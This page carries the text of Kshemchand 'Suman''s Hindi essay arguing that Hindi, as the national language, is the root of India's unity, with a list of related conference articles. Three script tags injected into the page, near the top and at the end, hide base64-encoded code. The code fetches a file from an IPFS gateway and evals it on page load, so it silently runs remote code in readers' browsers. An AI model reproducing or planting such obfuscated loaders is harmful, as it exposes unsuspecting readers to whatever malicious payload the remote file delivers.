एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

देश की एकता का मूल: हमारी राष्ट्रभाषा -क्षेमचंद ‘सुमन’

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif यह लेख स्वतंत्र लेखन श्रेणी का लेख है। इस लेख में प्रयुक्त सामग्री, जैसे कि तथ्य, आँकड़े, विचार, चित्र आदि का, संपूर्ण उत्तरदायित्व इस लेख के लेखक/लेखकों का है भारतकोश का नहीं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेखक- क्षेमचंद ‘सुमन’

आधुनिक हिन्दी के निर्माता भारतेंदु बाबू हरिश्चंद्र की भाषा के संबंध में लिखी गई ये पंक्तियाँ आज के दिन हमारे लिए एक अभूतपूर्व प्रेरणा का संदेश दे रही हैं:
निज भाषा उन्नति अहै, सब उन्नति के मूल।
बिनु निज भाषा ज्ञान के, मिटत न तन को मूल।।
वैसे यद्यपि हमारे देश के विभिन्न भागों में अनेक भाषाएँ बोली जाती है, फिर भी हिन्दी हमारे देश की ऐसी भाषा है, जो प्राय: सारे देश में समान रूप से व्यवहार में लाई जाती है। उसके इस व्यापक रूप को समझते हुए ही सारे देश ने इसे ‘राष्ट्रभाषा’ के पावन अभिधान से अभिषिक्त किया है। इस संबंध में राष्ट्रपिता महात्मा गांधी ने देशवासियों को उद्बोधित करते हुए एक बार यह ठीक ही कहा था:

जैसे अंग्रेज अपनी मातृभाषा अंग्रेजी में बोलते हैं और सर्वथा उसे ही व्यवहार में लाते हैं वैसे ही मैं आपसे प्रार्थना करता हूँ कि आप हिन्दी को भारतमाता की एक भाषा बनाने का गौरव प्रदान करें। हिन्दी सब समझते हैं। इसे राष्ट्रभाषा बनाकर हमें अपने कर्त्तव्य का पालन करना चाहिए।


गांधी जी ने ही हिन्दी को राष्ट्र की उन्नति का मूल समझकर यह घोषणा नहीं की थी, प्रत्युत उनसे पूर्व भी देश के सभी अंचलों के समाज-सुधारकों, संतों और नेताओं ने इसके महत्व को समझ लिया था। महाराष्ट्र में जहाँ ग्यारहवीं तथा बारहवीं शताब्दी में मराठी के आदि-कवि मुकुंदराज और संत ज्ञानेश्वर ने इसके महत्व को समझा था वहाँ कालांतर में गोपाल नरहरि देशपांडे तथा केशव वामन पेठे नामक महानुभावों ने क्रमश: सन् 1875 तथा 1876 में हिन्दी को राष्ट्रभाषा के रूप में प्रतिष्ठित करने का अभिनंदनीय प्रयास किया था। उन्हीं दिनों महादेव गोविन्द रानाडे तथा लोकमान्य बाल गंगाधर तिलक ने भी इस दिशा में प्रशंसनीय कार्य किया था। इस प्रकार जहाँ महाराष्ट्र के ये संत, सुधारक और नेता हिन्दी के महत्व को समझकर उसको राष्ट्रभाषा के पावन पद पर प्रतिष्ठित करने का अभियान कर रहे थे वहाँ गुजरात भी पीछे नहीं था। वहाँ के कच्छ प्रदेश के राजा लखपति महाराज ने अठारहवीं शती में भुज में ब्रजभाषा की एक पाठशाला खोलकर हिन्दी के प्रचार की जो नींव डाली थी, वह धीरे-धीरे वहाँ इतनी सफल हुई कि महात्मा गांधी तथा स्वामी दयानंद- जैसे सुधारकों को हिन्दी के महत्व को समझकर उसके प्रचार में लगना पड़ा। जहाँ ये सुधारक तथा नेता हिन्दी की महत्ता को समझकर उसके प्रचार में लगे हुए थे वहाँ नरसी मेहता, मालण, दयाराम तथा दलपतराय जैसे गुजराती कवियों ने भी अपनी कविताओं के माध्यम से हिन्दी की महत्ता को स्वीकार किया था।

हिन्दी को यह महत्व इसलिए नहीं दिया गया था कि वह सारी भारतीय भाषाओं में ऊँची है, बल्कि उसे ‘राष्ट्रभाषा’ इसलिए कहा और समझा जाता है कि हिन्दी को जानने, समझने और बोलने वाले देश के कोने-कोने में फैले हुए हैं। ये लोग चाहे हिन्दी न जानते हों, व्याकरण को भूला करते हों, अशुद्ध हिन्दी बोलते हों; परंतु बोलते हिन्दी ही हैं और उसी में अपने भाव व्यक्त करते एवं दूसरों की बात समझते हैं। वास्तव में हिन्दी की यह प्रकृति ही देश की एकता की परिचायक है और इस प्रकृति ने ही उसे इतना व्यापक रूप दिया है। वह केवल हिन्दुओं या कुछ मुट्ठी-भर लोगों की भाषा नहीं है; वह तो देश के कोटि-कोटि कंठों की पुकार और उनका हृदयहार है।
हिन्दी के सूत्र के सहारे कोई भी व्यक्ति देश के एक कोने से चलकर दूसरे कोने तक जा सकता है और अपना काम चला सकता है। देश में फैली हुई अनेक भाषाओं और संस्कृतियों के बीच यदि भारतीय जीवन की उदात्तता एवं एकात्मकता किसी एक भाषा में दिखाई देती है तो वह हिन्दी में ही है। चाहे सब लोग हिन्दी न जानते हों, लेकिन फिर भी इसके द्वारा वे अपना काम चला लेते हैं और उन्हें इसमें कोई कठिनाई नहीं होती। भारत की बहुभाषिकता के प्रश्न को उठाकर जो लोग हिन्दी को राष्ट्रभाषा के गौरवपूर्ण स्थान पर अधिष्ठित करने में रुकावट डाल रहें हैं, वे यह कैसे भूल जाते हैं कि आज विश्व के सर्वाधिक शक्ति-संपन्न देश रूस ने इस समस्या का किस प्रकार समाधान किया है। उन्हें यह मालूम होना चाहिए कि सोवियत-संघ में यद्यपि 66 भाषाएँ बोली तथा लिखी जाती हैं, किंतु फिर भी वहाँ की राष्ट्रभाषा रूसी ही है। सोवियत संघ की मंगोल और तुर्की भाषाओं के शब्दों का रूसी भाषा से कोई संबंध नहीं है। इसके विपरित यहाँ की दक्षिण की भाषाओं के प्राय: 60 प्रतिशत शब्द मिल जाते हैं। तमिल को हम अपवाद के रूप में रख सकते हैं, किंतु उसमें भी कुछ शब्द तो ऐसे मिल जी जाते हैं, जिन्हें भारत की दूसरी भाषाओं के बोलने वाले सरलता से समझ लेते हैं।
स्वतंत्रता-प्राप्ति से पूर्व हिन्दी के ही माध्यम से भारत के अनेक संतों, सुधारकों, मनीषियों और नेताओं ने अपने विचारों का प्रसार एवं प्रचार किया था। अपनी दूरदर्शिता के कारण उन्होंने ऐसी ही भाषा को अपनी भाव-धारा के प्रचार का साधन बनाया था, जो देश के सभी भूभागों के अधिकांश जन-समुदाय को एकता के सूत्र में पिरो सकती थी, और वह भाषा हिन्दी थी। यही कारण था कि जहाँ उत्तर प्रदेश के कबीर, पंजाब के नानक, सिंध के सचल, कश्मीर के लल्लद्यद, बंगाल के बाउल, असम के शंकरदेव आदि संतों ने जिस सांस्कृतिक एकता तो आधार बनाकर अपने काव्य की रचना की थी, वहाँ दक्षिण के वेमना आलवार आदि संतों की कविता की मूल भावभूमि भी वही थी। इनके संदेश में कहीं भी भाषागत विघटन का स्वर नहीं उभरा था, बल्कि सभी की रचनाएँ उत्तर से दक्षिण तक और पूरब से पश्चिम तक समान रूप से समादृत होती थीं। जिन साधु-वैरागियों के मठ और अखाड़े सारे देश में फैले हुए थे, उनमें कहीं भी भाषा का झगड़ा नहीं उठता था।
इसका निष्कर्ष यही है कि भाषाओं कि विविधता देश की एकता में कहीं भी बाधक नहीं समझी जानी चाहिए। ‘दस बिगहा पर पानी बदले, दस कोसन पर पानी’ के अनुसार ‘पानी’ और ‘बानी’ की अनेकविधता तो स्वाभाविक ही है, किंतु कबीर ने जिस ‘संस्कृत’ तो ‘कूप-जल’ और जिस ‘भाषा’ को ‘बहता नीर’ कहा है वह भाषा निश्चय ही हिन्दी है। इसी में उन्होंने अपना संदेश देश को दिया था और उसे वे ‘एकता की कड़ी’ के रूप में देखते थे। भाषा वही महत्वपूर्ण होती है जो लोगों को ‘तोड़ने’ के बजाय ‘जोड़ने’ का संदेश दे और जिसके माध्यम से प्रेम का मार्ग प्रशस्त हो। इसी पावन भावन से प्रेरित होकर महाकवि जायसी ने यह कहा था :
तुरकी, अरबी, हिन्दुई, भाषा जेती आहि।
जेहि मँह मारग प्रेम का, सबै सराहे ताहि।।
और यह प्रेम का मार्ग केवल हिन्दी के माध्यम से प्रशस्त हो सकता है। यदि ऐसा न होता तो बंगाल के अद्वितीय सुधारक राजा राममोहन राय और केशवचंद्र सेन जैसे मनीषी अपने विचारों के प्रचार के लिए इसे क्यों अपनाते? आर्यसमाज के संस्थापक महर्षि स्वामी दयानन्द सरस्वती और राष्ट्रपिता महात्मा गांधी ने गुजराती होते हुए भी राष्ट्रीयता और समाज-सुधार की अपनी भाव-धारा को हिन्दी के द्वारा ही सारे देश में फैलाया। ‘स्वराज्य हमारा जन्म-सिद्ध अधिकार है’ के जन्मदाता लोकमान्य बालगंगाधर तिलक ने महाराष्ट्रीय होते हुए भी 1920 में बनारस में हिन्दी में भाषण दिया था। उनके यह विचार वास्तव में हिन्दी के व्यापकता का सुपुष्ट प्रमाण प्रस्तुत करते हैं। उन्होंने कहा था मेरी समझ में हिन्दी भारत की सामान्य भाषा होनी चाहिए। जब एक प्रांत दूसरे प्रांत से मिले, तो आपस में विचार-विनिमय का माध्यम हिन्दी ही होनी चाहिए। सामाजिक क्षेत्र में जहाँ अनेक सुधारकों द्वारा हिन्दी को भारत की एकता का प्रमुख साधन समझा जा रहा था, वहाँ महात्मा गांधी के द्वारा उसके प्रचार और प्रसार को व्यापक बल मिला था।
हिन्दी के सार्वजनिक उपयोगिता और महत्ता का इसी से पता चलता है कि इसे दूसरे प्रदेशों के निवासी नेताओं और विचारकों ने अपने विचारों के प्रकट करने का माध्यम बनाया था। आज दक्षिण के चारों राज्यों में हिन्दी का जो सफल लेखन, पठन और अध्यापन हो रहा है उसमें भी राष्ट्रपिता महात्मा गांधी द्वारा स्थापित ‘दक्षिण भारत हिन्दी प्रचार सभा’ और ‘राष्ट्रभाषा प्रचार समिति वर्धा’ जैसी अनेक संस्थाओं का अत्यधिक योगदान है। इसी प्रकार उड़ीसा, असम तथा मेघालय में भी हिन्दी का व्यापक प्रचार तथा प्रसार परिलक्षित होता है। विभाजन के उपरांत देश के विभिन्न अंचलों में फैले हुए सिंधी भाई भी किसी से पीछे नहीं हैं। आज के हिन्दी के लेखन में भारत के सभी भाषाभाषियों का उल्लेखनीय योगदान है। श्रीमती सरोजिनी नायडू ने हिन्दी की महत्ता को स्वीकार करते हुए एक बार कहा था :

‘देश के सबसे ज्यादा हिस्से में हिन्दी ही लिखी जाती है। अगर हम साधारण बुद्धि से काम लें तभी हमें पता चलेगा कि हमारी कौमी जबान हिन्दी ही हो सकती है।’ सुप्रसिद्ध मनीषी आचार्य क्षितिमोहन सेन ने भाषा को किसी भी देश की एकता का प्रधान साधन मानते हुए हिन्दी की महत्ता की जो प्रतिष्ठापना की थी वह हमारे लिए अपेक्षणीय नहीं है। उन्होंने कहा था: ‘अंग्रेजी भाषा की महिमा इसलिए नहीं है कि वह हमारे शासकों की भाषा थी, बल्कि इसलिए है कि उसने संसार की समस्त विद्याओं को आत्मसात किया है। हिन्दी को भी यह पद पाना है। उसे भी नाना विद्याओं, कलाओं और संस्कृतियों की त्रिवेणी बनना होगा। हिन्दी में वह क्षमता है। बिना ऐसा बने भाषी की साधना अधूरी रह जाएगी। भाषा हमारे लिए साधन है, साध्य नहीं; मार्ग है, गंतव्य नहीं ; आधार है, आधेय नहीं।’


आज राजनीति का आड़ लेकर जहाँ बंगाल में यदा-कदा हिन्दी-विरोध. की जो आवाज उठ खड़ी होती है वहाँ के निवासी यह कैसे भूल जाते हैं कि अतीत काल में बंगाल ने हिन्दी के संवर्धन और पल्लवन में बड़ा भारी योगदान दिया था। बंगाल से जहाँ राजा राममोहन राय ने ‘अग्रदूत’ नामक पत्र हिन्दी में सफलतापूर्वक प्रकाशित किया, वहाँ ‘बंदेमातरम्’ राष्ट्र-गान के अमर गायक बंकिमचंद्र चटर्जी ने अपने ‘बंग-दर्शन’ नामक ग्रंथ के पांचवे खंड में स्पष्ट रूप से यह लिखा था: हिन्दी भाषा की सहायता से भारतवर्ष के विभिन्न प्रदेशों में बिखरे हुए लोग जो ऐक्य-बंधन स्थापित कर सकेंगे, वास्तव में वे ही सच्चे भारतीय कहलाने योग्य हैं। केवल यही नहीं, बंगला ‘वसुमति’ के संपादक सुरेशचंद्र समाजपति और ‘संध्या’ के संपादक पं. ब्रह्मबांधव उपाध्याय आदि ने भी अपने पत्रों में हिन्दी की राष्ट्रभाषासंबंधी क्षमता को मुक्त कंठ से स्वीकार किया था। सुप्रसिद्ध तत्व-चिंतक श्री अरविंद घोष ने भी अपने ‘कर्मयोगी’ और ‘धर्म’ नामक पत्रों के माध्यम से राष्ट्रभाषा हिन्दी के उन्नयन में अपना अनन्य सहयोग देने में महत्वपूर्ण भूमिका का कार्य किया था। जहाँ बंग देश में उक्त सुधारक, विचारक और चिंतक हिन्दी-संबंधी आन्दोलन को आगे बढ़ा रहे थे वहाँ श्री भूदेव मुखर्जी बिहार में तथा श्री नवीनचंद्र राय पंजाब में हिन्दी-प्रचार का कार्य कर रहे थे। प्रकाशन और मुद्रण के क्षेत्र में भी बंगभाषियों की सेवाएँ अविस्मरणीय हैं। श्री रामानंद चटर्जी ने अपने प्रवासी प्रेस से जहाँ ‘विशाल भारत’ जैसा उच्चकोटि का मासिक पत्र निकाला, वहाँ श्री चिंतामणि घोष के इंडियन प्रेस ने ‘सरस्वती’ का प्रकाशन करके हिन्दी-साहित्य की अभिवृद्धि में अभूतपूर्व योगदान दिया। यह बंगाल के ही सपूत श्री नागेंद्रनाथ बसु को श्रेय दिया जा सकता है कि उन्होंने 25 खंडों में विश्वकोश प्रकाशित करके हिन्दी-साहित्य की अभिवृद्धि की थी।
अनेक बंग-नेताओं द्वारा जहाँ राष्ट्रभाषा के प्रचार-प्रसार में योगदान की दिशा में ऐसे महत्वपूर्ण कार्य हो रहे थे, वहाँ जस्टिस शारदाचरण मित्र ने ‘एक लिपि विस्तार परिषद्’ की स्थापना करके उसके द्वारा ‘देवनगर’ नामक ऐसा पत्र प्रकाशित किया था कि जिसका उद्देश्य देवनागरी लिपि के माध्यम से समस्त भारतीय भाषाओं की कृतियों को प्रकाशित करके उनमें समन्वय स्थापित करता था। उनका यह भी अभिमत था कि यदि भाषाओं में से लिपि की दीवार को हटा दिया जाए और सब भाषाओं को ‘देवनागरी’ लिपि में ही लिखने की परंपरा चल पड़े, तो भारत की एकता अखंड रह सकेगी। वास्तव में यदि लिपि की बाधा को दूर कर दिया जाए और सारे देश की भाषाएँ ‘देवनागरी’ को अपना लें तो हमारी सांस्कृतिक, सामाजिक और साहित्यिक चेतना को बड़ा बल मिल सकेगा। iपश्चिमी एशिया की ‘ताजिक’ और ‘तुर्की’ भाषाओं ने जब ‘अरबी’ लिपि को छोड़कर रोमन लिपि को अपनाया तब वहाँ भी बड़े ही क्रांतिकारी परिवर्तन हुए थे। एक लिपि के माध्यम से हमारी एकता सर्वथा अक्षुण्ण रह सकेगी।
जिस हिन्दी को जायसी, रहीम, रसखान, आलम, शेख और उस्मान जैसे मुस्लिम कवियों ने अपनी अभिव्यक्ति का माध्यम बनाया, वह क्या केवल हिन्दुओं की ही भाषा कही जा सकती है? खड़ीबोली के आदि कवि के रूप में जहाँ अमीर खुसरो ने हिन्दी कविता को नए मुहावरे दिए वहाँ सैयद इंशा अल्लाखाँ की ‘रानी केतकी की कहानी’ नामक रचना से हिन्दी कहानी की विद्या में एक अभूतपूर्व निखार आया है। हिन्दी-साहित्य में जहाँ उक्त विभूतियों का अपना महत्वपूर्ण स्थान है, वहाँ आधुनिक काल में भी ऐसे अनेक नाम हमारे सामने उभरकर आते हैं, जिन्होंने जाति और धर्म की दीवार को तोड़कर साहित्य-निर्माण के विविध क्षेत्रों में उल्लेखनीय कार्य किया था। ऐसे महानुभावों में सैयद अमीरअली ‘मीर’, कासिमअली साहित्यालंकार, बंदेअली फ़ात्मी, जहूरबख्श हिन्दी कोविद और नबीबख्श ‘फलक’ आदि के नाम गौरव के साथ स्मरण किए जा सकते हैं। कदाचित ऐसे ही उदारमना मनीषियों को दृष्टि में रखकर भारतेंदु ने यह लिखा था: ‘इन मुसलमान कविजनन पर, कोटिन हिन्दूवारिये।’
अब वह समय आ गया है कि जब समस्त भारतीय भाषाएँ मुक्त स्वर से जहाँ ‘एक हृदय हो भारत जननी’ का पावन उद्घोष करेंगी, वहाँ राष्ट्रकवि मैथलीशरण गुप्त की यह भावना देश की एकता के लिए सत्य सिद्ध होकर ही रहेगी:
हिन्दी का उद्देश्य यही है,
भारत एक रहे अविभाज्य।
यों तो रूस और अमेरीका
जितना है उसका जन-राज्य।।


टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

तृतीय विश्व हिन्दी सम्मेलन 1983
क्रमांक लेख का नाम लेखक
हिन्दी और सामासिक संस्कृति
1. हिन्दी साहित्य और सामासिक संस्कृति डॉ. कर्ण राजशेषगिरि राव
2. हिन्दी साहित्य में सामासिक संस्कृति की सर्जनात्मक अभिव्यक्ति प्रो. केसरीकुमार
3. हिन्दी साहित्य और सामासिक संस्कृति डॉ. चंद्रकांत बांदिवडेकर
4. हिन्दी की सामासिक एवं सांस्कृतिक एकता डॉ. जगदीश गुप्त
5. राजभाषा: कार्याचरण और सामासिक संस्कृति डॉ. एन.एस. दक्षिणामूर्ति
6. हिन्दी की अखिल भारतीयता का इतिहास प्रो. दिनेश्वर प्रसाद
7. हिन्दी साहित्य में सामासिक संस्कृति डॉ. मुंशीराम शर्मा
8. भारतीय व्यक्तित्व के संश्लेष की भाषा डॉ. रघुवंश
9. देश की सामासिक संस्कृति की अभिव्यक्ति में हिन्दी का योगदान डॉ. राजकिशोर पांडेय
10. सांस्कृतिक समन्वय की प्रक्रिया और हिन्दी साहित्य श्री राजेश्वर गंगवार
11. हिन्दी साहित्य में सामासिक संस्कृति के तत्त्व डॉ. शिवनंदन प्रसाद
12. हिन्दी:सामासिक संस्कृति की संवाहिका श्री शिवसागर मिश्र
13. भारत की सामासिक संस्कृृति और हिन्दी का विकास डॉ. हरदेव बाहरी
हिन्दी का विकासशील स्वरूप
14. हिन्दी का विकासशील स्वरूप डॉ. आनंदप्रकाश दीक्षित
15. हिन्दी के विकास में भोजपुरी का योगदान डॉ. उदयनारायण तिवारी
16. हिन्दी का विकासशील स्वरूप (शब्दावली के संदर्भ में) डॉ. कैलाशचंद्र भाटिया
17. मानक भाषा की संकल्पना और हिन्दी डॉ. कृष्णकुमार गोस्वामी
18. राजभाषा के रूप में हिन्दी का विकास, महत्त्व तथा प्रकाश की दिशाएँ श्री जयनारायण तिवारी
19. सांस्कृतिक भाषा के रूप में हिन्दी का विकास डॉ. त्रिलोचन पांडेय
20. हिन्दी का सरलीकरण आचार्य देवेंद्रनाथ शर्मा
21. प्रशासनिक हिन्दी का विकास डॉ. नारायणदत्त पालीवाल
22. जन की विकासशील भाषा हिन्दी श्री भागवत झा आज़ाद
23. भारत की भाषिक एकता: परंपरा और हिन्दी प्रो. माणिक गोविंद चतुर्वेदी
24. हिन्दी भाषा और राष्ट्रीय एकीकरण प्रो. रविन्द्रनाथ श्रीवास्तव
25. हिन्दी की संवैधानिक स्थिति और उसका विकासशील स्वरूप प्रो. विजयेन्द्र स्नातक
देवनागरी लिपि की भूमिका
26. राष्ट्रीय और अंतर्राष्ट्रीय संदर्भ में देवनागरी श्री जीवन नायक
27. देवनागरी प्रो. देवीशंकर द्विवेदी
28. हिन्दी में लेखन संबंधी एकरूपता की समस्या प्रो. प. बा. जैन
29. देवनागरी लिपि की भूमिका डॉ. बाबूराम सक्सेना
30. देवनागरी लिपि (कश्मीरी भाषा के संदर्भ में) डॉ. मोहनलाल सर
31. राष्ट्रीय और अंतर्राष्ट्रीय संदर्भ में देवनागरी लिपि पं. रामेश्वरदयाल दुबे
विदेशों में हिन्दी
32. विश्व की हिन्दी पत्र-पत्रिकाएँ डॉ. कामता कमलेश
33. विदेशों में हिन्दी:प्रचार-प्रसार और स्थिति के कुछ पहलू प्रो. प्रेमस्वरूप गुप्त
34. हिन्दी का एक अपनाया-सा क्षेत्र: संयुक्त राज्य डॉ. आर. एस. मेग्रेगर
35. हिन्दी भाषा की भूमिका : विश्व के संदर्भ में श्री राजेन्द्र अवस्थी
36. मारिशस का हिन्दी साहित्य डॉ. लता
37. हिन्दी की भावी अंतर्राष्ट्रीय भूमिका डॉ. ब्रजेश्वर वर्मा
38. अंतर्राष्ट्रीय संदर्भ में हिन्दी प्रो. सिद्धेश्वर प्रसाद
39. नेपाल में हिन्दी और हिन्दी साहित्य श्री सूर्यनाथ गोप
विविधा
40. तुलनात्मक भारतीय साहित्य एवं पद्धति विज्ञान का प्रश्न डॉ. इंद्रनाथ चौधुरी
41. भारत की भाषा समस्या और हिन्दी डॉ. कुमार विमल
42. भारत की राजभाषा नीति श्री कृष्णकुमार श्रीवास्तव
43. विदेश दूरसंचार सेवा श्री के.सी. कटियार
44. कश्मीर में हिन्दी : स्थिति और संभावनाएँ प्रो. चमनलाल सप्रू
45. भारत की राजभाषा नीति और उसका कार्यान्वयन श्री देवेंद्रचरण मिश्र
46. भाषायी समस्या : एक राष्ट्रीय समाधान श्री नर्मदेश्वर चतुर्वेदी
47. संस्कृत-हिन्दी काव्यशास्त्र में उपमा की सर्वालंकारबीजता का विचार डॉ. महेन्द्र मधुकर
48. द्वितीय विश्व हिन्दी सम्मेलन : निर्णय और क्रियान्वयन श्री राजमणि तिवारी
49. विश्व की प्रमुख भाषाओं में हिन्दी का स्थान डॉ. रामजीलाल जांगिड
50. भारतीय आदिवासियों की मातृभाषा तथा हिन्दी से इनका सामीप्य डॉ. लक्ष्मणप्रसाद सिन्हा
51. मैं लेखक नहीं हूँ श्री विमल मित्र
52. लोकज्ञता सर्वज्ञता (लोकवार्त्ता विज्ञान के संदर्भ में) डॉ. हरद्वारीलाल शर्मा
53. देश की एकता का मूल: हमारी राष्ट्रभाषा श्री क्षेमचंद ‘सुमन’
विदेशी संदर्भ
54. मारिशस: सागर के पार लघु भारत श्री एस. भुवनेश्वर
55. अमरीका में हिन्दी -डॉ. केरीन शोमर
56. लीपज़िंग विश्वविद्यालय में हिन्दी डॉ. (श्रीमती) मार्गेट गात्स्लाफ़
57. जर्मनी संघीय गणराज्य में हिन्दी डॉ. लोठार लुत्से
58. सूरीनाम देश और हिन्दी श्री सूर्यप्रसाद बीरे
59. हिन्दी का अंतर्राष्ट्रीय परिप्रेक्ष्य श्री बच्चूप्रसाद सिंह
स्वैच्छिक संस्था संदर्भ
60. हिन्दी की स्वैच्छिक संस्थाएँ श्री शंकरराव लोंढे
61. राष्ट्रीय प्रचार समिति, वर्धा श्री शंकरराव लोंढे
सम्मेलन संदर्भ
62. प्रथम और द्वितीय विश्व हिन्दी सम्मेलन: उद्देश्य एवं उपलब्धियाँ श्री मधुकरराव चौधरी
स्मृति-श्रद्धांजलि
63. स्वर्गीय भारतीय साहित्यकारों को स्मृति-श्रद्धांजलि डॉ. प्रभाकर माचवे

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>